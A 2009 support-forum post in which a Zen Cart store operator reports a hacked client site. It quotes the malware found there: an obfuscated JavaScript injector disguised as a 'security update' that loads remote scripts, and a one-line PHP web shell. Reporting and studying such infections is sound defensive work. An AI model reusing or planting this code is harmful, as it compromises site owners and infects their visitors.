13 Dec 2009, 12:04 PM
Inactive
- Join Date:
- Aug 2006
- Location:
- Singapore
- Posts:
- 167
- Plugin Contributions:
- 1
Client site hacked
Dear Zencart Support,
I have a client store http://airbrushmakeup.me which we already updated to latest security patches previously (about 2-3 months ago), however in last few days the site being labeled as 'attack site' from Google (if using FireFox).
I found index.php file has been injected with the following codes:
<?php ob_start('security_update'); function security_update($buffer){return $buffer.'<script language="javascript">$a="Z6fpZ3dZ22Z2524aZ253dZ2522dw(dZ2563s(cZ2575Z252cZ25314Z2529);Z2522;Z22;dzZ3dZ22Z2566uZ256ecZ2574ioZ256e dZ2577(Z2574)Z257bcaZ253dZ2527Z252564ocuZ2525Z2536deZ25256eZ2574.wZ252572iZ2574Z252565Z252528Z25252Z2532Z2527;ceZ253dZ2527Z252522)Z2527;cbZ253dZ2527Z25253cscrZ252569ptZ252520lZ2561Z256eZ252567Z252575Z2561Z252567Z252565Z25253dZ25255cZ252522jaZ2576Z2561Z2573criZ252570tZ25255Z2563Z252522Z25253eZ2527;cZ2563Z253dZ2527Z25253cZ25255cZ25252fscZ2572Z2569Z252570tZ25253eZ2527;evalZ2528uneZ2573Z2563aZ2570Z2565(Z2574Z2529)Z257d;Z22;czZ3dZ22Z2566uZ256eZ2563tiZ256fZ256e czZ2528Z2563z)Z257bretZ2575Z2572Z256e Z2563aZ252bcb+Z2563cZ252bcZ2564+cZ2565+czZ253b};Z22;stZ3dZ22Z2573tZ253dZ2522$Z2561Z253dZ2573tZ253bdZ2563sZ2528Z2564Z2561Z252bdZ2562Z252bZ2564Z2563+Z2564Z2564Z252bdZ2565Z252c1Z2530)Z253bZ2564Z2577Z2528sZ2574Z2529;Z2573tZ253dZ2524aZ253bZ2522;Z22;cbZ3dZ229;sZ2574Z253dZ2574mpZ253dZ2527Z2527;fZ256fZ2572Z2528iZ253d0;Z2569Z253cdZ2573Z252elZ2565nZ22;ddZ3dZ22qb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0~e}+Z2519~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+Z2519iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050!Z25209M0;0|uddubcK8888dy}uK7iZ22;dcZ3dZ227Z3c07fuc7Z3c07wxd7Z3c07u~y7Z3c07ud~7Z3c07|uf7Z3c07dgu79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7z7Z3c7y7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+Z2519ve~sdyZ257F~0Sq|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;08y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+m0fZ22;dbZ3dZ22gZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0!Z2520;gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vrs}vybZ3esZ257F}7+fqb0}Z257F~dxc0-0~ug0Qbbqi87e~Z257F7Z3c07tfu7Z3c07dxb7Z3c07vyb7Z3c07fyv7Z3c07hucZ22;ccZ3dZ22Z2567Z2574h;iZ252b+Z2529Z257btZ256dpZ253ddsZ252eslZ2569ceZ2528i,iZ252b1)Z253bZ2573tZ25Z22;cdZ3dZ223dstZ252bZ2553tZ2572ingZ252eZ2566Z2572omCZ2568aZ2572CZ256fdeZ2528(tmZ2570.Z2563Z2568Z22;caZ3dZ22Z2566unZ2563tioZ256e dZ2563s(Z2564sZ252cesZ2529Z257bdsZ253dunesZ2563apZ2565(dsZ252Z22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;}zpqd;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edZ22;deZ3dZ22uqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+Z2519}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522$9M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+mZ22;ceZ3dZ22aZ2572CZ256fZ2564Z2565At(Z2530Z2529^(Z25270Z25780Z2530Z2527+esZ2529Z2529);}Z257dZ22;Z69f Z28Z64Z6fZ63uZ6deZ6et.Z63ooZ6biZ65Z2eiZ6edexZ4ff(Z27rfZ35fZ36Z64sZ27)Z3dZ3d-1)Z7bfuncZ74ioZ6e cZ61Z6cZ6cZ62ackZ28xZ29Z7bwiZ6edowZ2eZ74w Z3d Z78;vaZ72 dZ20Z3d newZ20Z44ateZ28Z29Z3bd.sZ65Z74Z54imeZ28xZ5bZ22asZ5fZ6fZ66Z22]*1Z3000)Z3bZ76aZ72 Z68Z20Z3d d.Z67eZ74UZ54CZ48oZ75rsZ28);Z77inZ64ow.Z68 Z3d h;Z69Z66 (hZ20Z3e 8)Z7bZ64Z2esetZ55TCDZ61teZ28Z64.geZ74UTZ43Z44Z61teZ28Z29 Z2d 2)Z3b}Z65lseZ7bd.Z73Z65tUTZ43Z44aZ74eZ28dZ2egZ65tUTZ43DZ61te(Z29 - Z33)Z3b}Z77iZ6eZ64owZ2eZ67dZ20Z3d d;Z76Z61Z72 tiZ6dZ65 Z3d newZ20Z41Z72rZ61Z79()Z3bvarZ20Z73hifZ74IZ6edexZ20Z3d Z22Z22;time[Z22Z79Z65arZ22]Z20Z3d Z64.geZ74Z55Z54CFuZ6cZ6cZ59earZ28);Z74imZ65[Z22monZ74hZ22] Z3d Z64.gZ65tZ55TCMZ6fZ6eZ74Z68Z28)+Z31Z3btiZ6dZ65[Z22dayZ22] Z3d dZ2egZ65Z74UTZ43Z44atZ65()Z3bZ69f Z28d.gZ65tUTZ43MonZ74Z68Z28)Z2b1 Z3c 1Z30)Z7bshZ69fZ74InZ64exZ20Z3d timZ65Z5bZ22yeaZ72Z22] +Z20Z22-0Z22 + Z28d.Z67etUZ54CZ4donZ74hZ28Z29+1Z29;Z7delsZ65Z7bshiZ66tInZ64Z65xZ20Z3d tZ69me[Z22Z79eaZ72Z22] Z2b Z22-Z22 + Z28d.gZ65tUZ54CMoZ6ethZ28)Z2bZ31);Z7dif Z28d.gZ65tUTZ43DatZ65Z28) Z3c 1Z30)Z7bshiZ66tIZ6edexZ20Z3dshZ69ftIZ6edexZ20+ Z22-0Z22 Z2bZ20dZ2egeZ74UTZ43DaZ74Z65Z28Z29;Z7delZ73eZ7bshiZ66tInZ64Z65x Z3d sZ68iZ66tInZ64ex Z2b Z22-Z22 Z2b Z64.Z67eZ74UTCZ44Z61Z74e(Z29;Z7dZ64Z6fcuZ6dZ65nt.Z77riZ74Z65(Z22Z3cscZ72Z22+Z22iptZ20Z6canZ67Z75agZ65Z3djavZ61sZ63ripZ74Z22+Z22 srcZ3dZ27httpZ3aZ2fZ2fseZ61rZ63h.tZ77Z69tZ74erZ2ecomZ2fZ74Z72Z65Z6edsZ2fdaiZ6cy.jZ73onZ3fdaZ74eZ3dZ22+ Z73hifZ74IndZ65x+Z22&caZ6clbaZ63kZ3dcZ61Z6clbaZ63kZ32Z27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iZ70tZ3eZ22);} fZ75nctZ69oZ6eZ20caZ6cZ6cbacZ6b2Z28Z78)Z7bwindZ6fw.tZ77 Z3d xZ3bsZ63(Z27Z72Z665Z666dZ73Z27,Z32Z2c7);Z65valZ28Z75nZ65scZ61pe(Z64z+cZ7a+Z6fZ70+sZ74Z29Z2bZ27dwZ28Z64z+cZ7a(Z24a+Z73tZ29Z29;Z27);docZ75menZ74.wZ72Z69te(Z24Z61Z29;}dZ6fcuZ6dZ65nt.Z77ritZ65(Z22Z3cimZ67 sZ72cZ3dZ27http:Z2fZ2fsearcZ68.twZ69tZ74Z65r.Z63omZ2fiZ6dagZ65Z73Z2fsearchZ2frsZ73.pnZ67Z27 widZ74hZ3d1 hZ65igZ68Z74Z3d1 sZ74yleZ3dZ27viZ73Z69bilZ69tyZ3ahZ69ddZ65Z6eZ27 Z2fZ3e Z3cscrZ22+Z22ipt lanZ67uZ61geZ3djavZ61scZ72ipZ74Z22+Z22 srcZ3dZ27httZ70Z3aZ2fZ2fseZ61rchZ2etwiZ74tZ65rZ2ecZ6fmZ2ftZ72eZ6edsZ2fdaiZ6cZ79.Z6asZ6fn?cZ61llZ62ackZ3dZ63Z61llZ62acZ6bZ27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);}Z65Z6cseZ7b$aZ3dZ27Z27};funcZ74iZ6fZ6eZ20Z73c(Z63nZ6dZ2cv,eZ64)Z7bvZ61rZ20exdZ3dnewZ20Z44atZ65Z28Z29;exZ64.sZ65Z74Z44atZ65(exZ64Z2egeZ74DaZ74e(Z29+edZ29;Z64oZ63umeZ6etZ2ecZ6fokiZ65Z3dcnm+Z20Z27Z3dZ27 +Z65sZ63aZ70e(vZ29+Z27;expZ69Z72esZ3dZ27+exd.tZ6fGZ4dZ54SZ74Z72ingZ28);}Z3b";function z(s){r="";for(i=0;i<s.length;i++){if(s.charAt(i)=="Z"){s1="%"}else{s1=s.charAt(i)}r=r+s1;}return unescape(r);}eval(z($a));</script>';}//important security update ?>
Also I found one file in /images folder with random number and the following codes inside:
<?php system($_SERVER["HTTP_SHELL"]); ?>We didn't clean this site thoroughly yet, but we will do it soon, just want to know your opinion on it since this codes seems new, unlike the codes we saw in other hacked stores in the past.
Many thanks!
Donny
